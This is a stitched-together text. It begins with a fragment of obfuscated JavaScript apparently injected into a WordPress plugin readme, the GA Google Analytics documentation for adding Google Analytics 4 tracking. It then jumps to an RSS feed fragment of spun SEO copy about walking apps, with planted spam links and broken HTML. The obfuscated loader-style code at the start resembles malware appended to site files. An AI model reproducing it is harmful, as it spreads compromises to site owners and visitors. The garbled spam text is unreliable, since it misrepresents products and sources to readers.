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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>The 11 Best Free Workout Apps Tested by Experts 2026 &#8211; pspwptest</title>
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		<title>Walking: Make it count with activity trackers</title>
		<link>https://psp-wp-test.objectsdev.com/walking-make-it-count-with-activity-trackers/</link>
					<comments>https://psp-wp-test.objectsdev.com/walking-make-it-count-with-activity-trackers/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Thu, 09 Apr 2026 07:50:43 +0000</pubDate>
				<category><![CDATA[The 11 Best Free Workout Apps Tested by Experts 2026]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=989833</guid>

					<description><![CDATA[When it comes to accurately tracking things like total steps1, stride length, and even gait2, smartphones have been found to be pretty reliable, according to multiple studies3. In fact, researchers have said these apps can and should be used in clinical and research settings. I want to repeat that I love walking apps—heck, I just [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>When it comes to accurately tracking things like total steps1, stride length, and even gait2, smartphones have been found to be pretty reliable, according to multiple studies3. In fact, researchers have said these apps can and should be used in clinical and research settings. I want to repeat that I love walking apps—heck, I just wrote nearly 2,000 words on them! However, I want to make it clear that walking apps are not the crystal balls that the marketing geniuses behind them might want you to think.</p>
<p>While MacPherson recommends Obé for its strength offerings, you can also do cycling, HIIT, yoga, dance, mini trampoline, boxing, and power. The app offers a live class schedule, so you can join a group workout from the comfort of your home. Walking is one of the best practices to prepare your body for strenuous exercises.</p>
<p>One of my favorite features is the Beacon, which allows you to share your location with up to three people at once. I sometimes forget that I’m a 6 foot, 3 inch tall man who can probably walk down most streets without a problem—unfortunately that’s not the reality for most people. This feature gives walkers the peace of mind that someone will be able to know where they are at all times. Strava is beloved by thousands of runners but it’s also a great app for those who prefer walking. There’s both a paid and free version, but no matter which one you choose, there are a lot of features you can take advantage of. The Queens, NY native is now a certified personal trainer and nutrition coach.</p>
<h2>Plantar fasciitis</h2>
<p>StepDog might be the walking app for you if you fall into the second camp. The pet lives on your iPhone or Apple Watch, and the more you walk, the happier your pup is. If you skip your daily steps, you’ll notice that your dog is sad and restless. Strava’s tracking was precise, and the social aspect kept me motivated. The app’s integration with my smartwatch made it easy to sync my data.</p>
<h3>Outdoors Gear, Equipment, News, Reviews, Forums, Walking Routes and More at OutdoorsMagic.com</h3>
<p>We’ve dubbed this the <a href="https://www.trustpilot.com/review/harnafit.com">trustpilot</a> best walking app for recording your stats because it’s got a comprehensive list of statistics available per walk. You can also connect with friends, compare stats, and even see their routes, too. If you have any health issues, are not already active or carry excess weight, be sure to talk with your healthcare professional before starting a new fitness program.</p>
<h3>Best Running Apps to Use in 2024 for Every Type of Runner</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best walking app" src="https://hips.hearstapps.com/hmg-prod.s3.amazonaws.com/images/pacer-1605737276.png"/></p>
<p>However, for walkers, the feature I like best is &#8216;Time To Walk&#8217; &#8211; guided walks, led by celebrities like Hannah Waddingham, Prince William, and Jamie Lee Curtis, and backed up by music. It feels like you&#8217;re having a catch-up with a (superstar) friend as the celeb is also walking while recording the session, making for a mindful moment in the day. And of course, being Apple, it&#8217;s collated in a way that feels premium and is very easy to use, which is a big plus. As weight loss needs sustainable lifestyle habits, the best walking app for weight loss will be one that helps create healthy habits in the kitchen and your exercise routine. I&#8217;m a great lover of Fitbits, having tried and tested every one ever made, so believe me when I say this app is underrated. Here, provided your phone is connected to GPS, you can set yourself a goal for a walk, run, or bike ride, and the app will let you know when you&#8217;ve hit it.</p>
<ul>
<li>You’ll be able to track all your walks offline and sync the data later if you want.</li>
<li>It doesn’t support GPS tracking, which means you can expect a longer battery life—it comes in handy to track your steps during vacation or travel.</li>
<li>Once started, it will continue to auto-record your steps even if your screen is locked or the phone is in your pocket or bag.</li>
<li>If this sounds like you, find out what walking apps your friends already use, or consider one with a large existing community like Strava.</li>
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Visit MyGpsTools.com today to unlock the full potential of your GPS technology and transform your walking experience with expert guidance and comprehensive resources.</li>
<li>The Fitbit app connects to your smartphone and records basic fitness metrics like your step count, heart rate and walking distance, but that’s not the reason we recommend this app.</li>
</ul>
<h2>Walking helps in regulating blood sugar and blood pressure levels.</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best walking app" src="https://gadgetroyale.com/wp-content/uploads/2020/09/Screenshot_20200928-191914_Samsung-Health.jpg"/></p>
<p>If you want to access online maps for offline use, there is also a premium paid-for version of the maps. A useful feature is that you can create multi-layered maps, for example with an aerial&nbsp;photo layered on top of the terrain map. Most of the apps featured here can integrate with some of the health tracking capabilities in your phone, or advanced wearables like an Apple Watch or FitBit. But if you&#8217;re one of the over 120 million people who have purchased a FitBit in particular, the FitBit app can take that device to the next level. When it comes to choosing the best walking apps for your daily exercise, there are a few things you should consider. These include the quality of the app, its effectiveness, the brand’s reputation, and the price.</p>
<p>This helps us ensure the products we feature are of the highest standard. Collectively, the team has spent countless hours researching equipment, gear, and recovery tools in order to create the most accurate, authentic content for our readers. Customer satisfaction is also a key part of our review process, which is why we only feature products that are highly rated. It is recommended that you get at least 150 minutes of physical activity each week, so walking for 30 minutes each day is great for your overall health.</p>
<h2>How We Picked and Tested The Best Walking Apps</h2>
<p>If you have an iPhone, you already have two great walking apps on your phone. Plus, using the already-loaded Fitness app, you can use Fitness+, Apple&#8217;s premium fitness streaming service. One of their hallmark features (aside from awesome workout classes of every type) is the Time to Walk series. It&#8217;s sort of like a podcast in which you &#8220;walk&#8221; along virtually with celebrities and other influential figures. Yet, there is much more to walking apps than just tracking calories. Many walking GPS apps also help you discover existing routes or offer training plans, helping you stick to your walking routine.</p>
<h3>#6 Best for weight loss: BetterMe</h3>
<p>For example, an app may offer excellent routines, but may not have coaching, making it less suitable for those looking for a more hands-on experience. Or, you may find a great walking app, but it doesn’t have nutrition tracking, making it less convenient for weight loss. Lastly, great apps offer challenges, goals, and even gamification elements to keep you motivated and engaged.</p>
<p>Not to mention it reminds you to drink enough water throughout the day. If you’re concerned about losing data, this particular app gives you peace of mind. It allows you to back up and restore data from Google Drive, so you will never lose important information.</p>
<h2>More walking apps to consider</h2>
<p>Whenever I&#8217;ve wanted a stroll in the city, I&#8217;ve turned to Go Jauntly. The routes are grouped by theme, often related to history in the area or geography. For example, you can explore routes based around the Elizabeth Line in London. The Pacer app works like a pedometer, tracking your steps to help ensure you&#8217;re getting enough movement each day. If you are looking for the easiest way to track your steps without many other features getting in the way, this could be an excellent option.</p>
<h3>The Revolution of Walking Apps</h3>
<p>While it lacks the advanced features of other apps, its simplicity and reliability earned it a high ranking. I enjoyed the training plans and found them helpful in structuring my walks. However, the app’s interface could benefit from a more streamlined design. Selecting the right walking app requires consideration of goals, usability, and function. Below, we take a look a these elements to help you choose the walking app that meets your needs.</p>
<h3>Adidas Running</h3>
<p>AllTrails is one of the most inclusive options here, with dog-friendly, kid-friendly and wheelchair-friendly routes, to name a few. There’s over 200,000 trails to choose from, all verified by experts and reviewed by members across the world. Each app has been fully tested by one of our experts and you’ll find a wide range of options to choose from. And while paper maps are important – essential some might say – a GPS app can provide an extra sense of comfort and protection in this sense. Similar to Viewranger for Android, you can access a variety of free Open Street Maps or pay for the OS maps to download.</p>
<p>It&#8217;s an easy way to get moving and improve your cardiovascular fitness that doesn&#8217;t require anything except a pair of shoes (OK, and maybe a killer playlist or good podcast). Compete with yourself or others to improve your performance and meet fitness goals. However, many take walking as their preferred exercise because it’s cheaper than going to the gym. Therefore, none of our top choices – paid and free walking apps – will break the bank.</p>
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